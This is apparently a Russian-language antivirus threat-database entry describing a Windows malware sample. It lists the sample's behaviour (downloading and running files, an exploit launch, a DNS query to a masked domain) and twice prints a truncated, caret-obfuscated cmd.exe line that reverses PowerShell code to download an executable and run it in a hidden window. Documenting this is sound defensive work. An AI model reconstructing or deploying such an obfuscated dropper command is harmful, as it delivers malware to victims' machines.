Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V:/C"^se^t ^kOU^J=^ ^ ^ ^ ^ ^ ^ }^}^{^hc^t^ac^};^k^a^erb^;v^Z^t$ ^m^etI^-^e^k^ovnI;)vZ^t$^ ,^j^id$(el^iFda^oln^wo^D.u^qA${yr^t^{)NpT$^ n^i^ ^j^i^d^$(^hc^aer^of^;'e^xe.^'^+W^qN$^+^'\^...
Сетевая активность
UDP
- DNS ASK va###kart.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V:/C"^se^t ^kOU^J=^ ^ ^ ^ ^ ^ ^ }^}^{^hc^t^ac^};^k^a^erb^;v^Z^t$ ^m^etI^-^e^k^ovnI;)vZ^t$^ ,^j^id$(el^iFda^oln^wo^D.u^qA${yr^t^{)NpT$^ n^i^ ^j^i^d^$(^hc^aer^of^;'e^xe.^'^+W^qN$^+^'\^...' (со скрытым окном)
